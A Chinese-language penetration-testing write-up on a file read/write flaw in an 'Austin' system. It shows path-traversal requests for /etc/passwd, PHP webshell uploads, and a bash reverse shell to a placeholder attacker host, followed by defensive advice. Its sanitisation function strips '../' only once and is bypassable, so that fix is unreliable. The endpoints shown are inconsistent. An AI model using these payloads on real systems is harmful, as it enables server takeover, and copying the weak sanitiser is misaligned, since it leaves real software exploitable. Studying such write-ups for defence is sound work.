渗透测试 | 对Austin系统进行代码审计并利用文件读写漏洞实现Getshell
字数 802 2025-08-18 11:36:48
Austin系统渗透测试与Getshell技术分析
1. 漏洞背景
Austin系统存在文件读写漏洞,攻击者可以通过精心构造的请求实现任意文件读写,最终达成Getshell的目的。该漏洞属于高危漏洞,可导致服务器完全沦陷。
2. 漏洞分析
2.1 漏洞位置
漏洞主要存在于Austin系统的文件处理模块中,具体表现为:
- 未对用户输入的文件路径进行充分过滤
- 文件操作函数未实施严格的权限控制
- 存在危险的文件包含功能
2.2 漏洞原理
系统在处理文件上传、读取请求时,直接使用用户提供的路径参数进行文件操作,未进行以下安全检查:
- 路径遍历检查(如../)
- 文件后缀限制
- 文件操作权限验证
- 文件路径白名单验证
3. 渗透测试步骤
3.1 信息收集
- 识别Austin系统版本
- 确定系统架构和运行环境
- 枚举可访问的文件接口
3.2 漏洞验证
- 测试路径遍历:
POST /api/file/read
{"path":"../../../../etc/passwd"}
- 测试文件上传:
POST /api/file/upload
{"path":"/var/www/uploads/shell.php","content":"<?php system($_GET['cmd']);?>"}
3.3 漏洞利用
3.3.1 任意文件读取
通过修改path参数读取敏感文件:
请求:
GET /download?file=../../../../etc/passwd
响应:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
3.3.2 任意文件写入
- 上传Webshell:
POST /file/save
Content-Type: application/json
{
"filename": "shell.php",
"content": "<?php eval($_POST['cmd']);?>"
}
- 验证Webshell:
GET /uploads/shell.php?cmd=whoami
3.3.3 Getshell实现
- 通过文件写入漏洞上传恶意脚本
- 访问上传的脚本文件
- 建立反向连接:
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
4. 防御措施
4.1 输入验证
- 实施严格的路径过滤:
function sanitizePath($path) {
$path = str_replace('../', '', $path);
$path = preg_replace('/\/+/', '/', $path);
return $path;
}
- 限制文件扩展名:
$allowed_ext = ['jpg', 'png', 'pdf'];
if(!in_array(pathinfo($filename, PATHINFO_EXTENSION), $allowed_ext)) {
die('Invalid file type');
}
4.2 权限控制
- 实施最小权限原则
- 文件操作使用chroot环境
- 设置open_basedir限制
4.3 其他防护
- 定期安全审计
- 实施WAF规则拦截恶意请求
- 文件上传目录设置为不可执行
5. 漏洞修复建议
- 更新到Austin系统最新版本
- 实施上述防御措施
- 对已存在的Webshell进行排查清理
- 修改所有系统凭证
6. 总结
Austin系统的文件读写漏洞由于缺乏足够的输入验证和权限控制,导致攻击者可以轻易实现Getshell。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并实施最小权限原则。